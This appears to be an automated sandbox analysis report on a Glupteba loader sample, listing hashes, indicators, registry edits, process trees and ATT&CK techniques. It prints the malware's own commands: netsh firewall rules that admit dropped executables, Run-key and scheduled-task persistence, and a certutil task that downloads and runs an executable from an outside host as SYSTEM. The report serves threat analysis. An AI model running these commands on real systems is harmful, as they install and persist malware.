glupteba | 14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4

General

Target

14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
Size

3.8MB
MD5

b6fbb67f74b6c04306858d6e94da633a
SHA1

c86058edd6f70b373e2d1f1314e21dad72c8f236
SHA256

14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4
SHA512

78384dc86493ab25230eff3b6e2976e184a81eb9813910898654eeb68a9045bcc315904b5fb70f37c6aea22dcb1ffdd39d8b3e9b225a44daa8beb0b348fba01b

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4296-131-0x0000000005AC0000-0x00000000061BC000-memory.dmp	family_glupteba
behavioral2/memory/4296-132-0x0000000000400000-0x0000000005150000-memory.dmp	family_glupteba
behavioral2/memory/1612-135-0x0000000000400000-0x0000000005150000-memory.dmp	family_glupteba
behavioral2/memory/1096-144-0x0000000006000000-0x00000000066FC000-memory.dmp	family_glupteba
behavioral2/memory/1096-145-0x0000000000400000-0x0000000005150000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 1424 created 4296	1424	svchost.exe	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
PID 1424 created 1096	1424	svchost.exe	csrss.exe
PID 1424 created 1096	1424	svchost.exe	csrss.exe
PID 1424 created 1096	1424	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1096 csrss.exe
444 patch.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
1096	csrss.exe
444	patch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StillFrost = "\"C:\\Windows\\rss\\csrss.exe\""	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

3152 bcdedit.exe

pid	process
3152	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe

description	ioc	process
File opened for modification	C:\Windows\rss	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
File created	C:\Windows\rss\csrss.exe	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

664 schtasks.exe
3528 schtasks.exe

pid	process
664	schtasks.exe
3528	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.execsrss.exe

pid	process
4296	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
4296	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
1612	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
1612	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
1096	csrss.exe
1096	csrss.exe
1096	csrss.exe
1096	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4296	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
Token: SeImpersonatePrivilege	4296	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
Token: SeTcbPrivilege	1424	svchost.exe
Token: SeTcbPrivilege	1424	svchost.exe
Token: SeBackupPrivilege	1424	svchost.exe
Token: SeRestorePrivilege	1424	svchost.exe
Token: SeBackupPrivilege	1424	svchost.exe
Token: SeRestorePrivilege	1424	svchost.exe
Token: SeBackupPrivilege	1424	svchost.exe
Token: SeRestorePrivilege	1424	svchost.exe
Token: SeSystemEnvironmentPrivilege	1096	csrss.exe
Token: SeBackupPrivilege	1424	svchost.exe
Token: SeRestorePrivilege	1424	svchost.exe
Token: SeBackupPrivilege	1424	svchost.exe
Token: SeRestorePrivilege	1424	svchost.exe
Token: SeBackupPrivilege	1424	svchost.exe
Token: SeRestorePrivilege	1424	svchost.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

svchost.exe14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.execmd.execmd.execsrss.exe

description	pid	process	target process
PID 1424 wrote to memory of 1612	1424	svchost.exe	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
PID 1424 wrote to memory of 1612	1424	svchost.exe	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
PID 1424 wrote to memory of 1612	1424	svchost.exe	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
PID 1612 wrote to memory of 3672	1612	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe	cmd.exe
PID 1612 wrote to memory of 3672	1612	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe	cmd.exe
PID 3672 wrote to memory of 3912	3672	cmd.exe	netsh.exe
PID 3672 wrote to memory of 3912	3672	cmd.exe	netsh.exe
PID 1612 wrote to memory of 2248	1612	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe	cmd.exe
PID 1612 wrote to memory of 2248	1612	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe	cmd.exe
PID 2248 wrote to memory of 5052	2248	cmd.exe	netsh.exe
PID 2248 wrote to memory of 5052	2248	cmd.exe	netsh.exe
PID 1612 wrote to memory of 1096	1612	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe	csrss.exe
PID 1612 wrote to memory of 1096	1612	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe	csrss.exe
PID 1612 wrote to memory of 1096	1612	14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe	csrss.exe
PID 1424 wrote to memory of 664	1424	svchost.exe	schtasks.exe
PID 1424 wrote to memory of 664	1424	svchost.exe	schtasks.exe
PID 1424 wrote to memory of 3528	1424	svchost.exe	schtasks.exe
PID 1424 wrote to memory of 3528	1424	svchost.exe	schtasks.exe
PID 1424 wrote to memory of 444	1424	svchost.exe	patch.exe
PID 1424 wrote to memory of 444	1424	svchost.exe	patch.exe
PID 1096 wrote to memory of 3152	1096	csrss.exe	bcdedit.exe
PID 1096 wrote to memory of 3152	1096	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
"C:\Users\Admin\AppData\Local\Temp\14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4296

C:\Users\Admin\AppData\Local\Temp\14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe
"C:\Users\Admin\AppData\Local\Temp\14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3672

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
PID:3912

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2248

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac.exe" enable=yes
4⤵
PID:5052

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1096

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:664

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3528

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:444

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:3152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1424

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
b6fbb67f74b6c04306858d6e94da633a

SHA1
c86058edd6f70b373e2d1f1314e21dad72c8f236

SHA256
14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4

SHA512
78384dc86493ab25230eff3b6e2976e184a81eb9813910898654eeb68a9045bcc315904b5fb70f37c6aea22dcb1ffdd39d8b3e9b225a44daa8beb0b348fba01b

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
b6fbb67f74b6c04306858d6e94da633a

SHA1
c86058edd6f70b373e2d1f1314e21dad72c8f236

SHA256
14067dc9e06b697e45cb1cfd87beef1389fac6157e5e0f9c3ffba1ca8c48afd4

SHA512
78384dc86493ab25230eff3b6e2976e184a81eb9813910898654eeb68a9045bcc315904b5fb70f37c6aea22dcb1ffdd39d8b3e9b225a44daa8beb0b348fba01b

Download Submit
memory/444-148-0x0000000000000000-mapping.dmp

Download
memory/664-146-0x0000000000000000-mapping.dmp

Download
memory/1096-145-0x0000000000400000-0x0000000005150000-memory.dmp

Filesize
77.3MB

Download
memory/1096-140-0x0000000000000000-mapping.dmp

Download
memory/1096-143-0x0000000005C00000-0x0000000005FA9000-memory.dmp

Filesize
3.7MB

Download
memory/1096-144-0x0000000006000000-0x00000000066FC000-memory.dmp

Filesize
7.0MB

Download
memory/1612-135-0x0000000000400000-0x0000000005150000-memory.dmp

Filesize
77.3MB

Download
memory/1612-134-0x00000000055F8000-0x00000000059A1000-memory.dmp

Filesize
3.7MB

Download
memory/1612-133-0x0000000000000000-mapping.dmp

Download
memory/2248-138-0x0000000000000000-mapping.dmp

Download
memory/3152-150-0x0000000000000000-mapping.dmp

Download
memory/3528-147-0x0000000000000000-mapping.dmp

Download
memory/3672-136-0x0000000000000000-mapping.dmp

Download
memory/3912-137-0x0000000000000000-mapping.dmp

Download
memory/4296-130-0x000000000570A000-0x0000000005AB3000-memory.dmp

Filesize
3.7MB

Download
memory/4296-132-0x0000000000400000-0x0000000005150000-memory.dmp

Filesize
77.3MB

Download
memory/4296-131-0x0000000005AC0000-0x00000000061BC000-memory.dmp

Filesize
7.0MB

Download
memory/5052-139-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads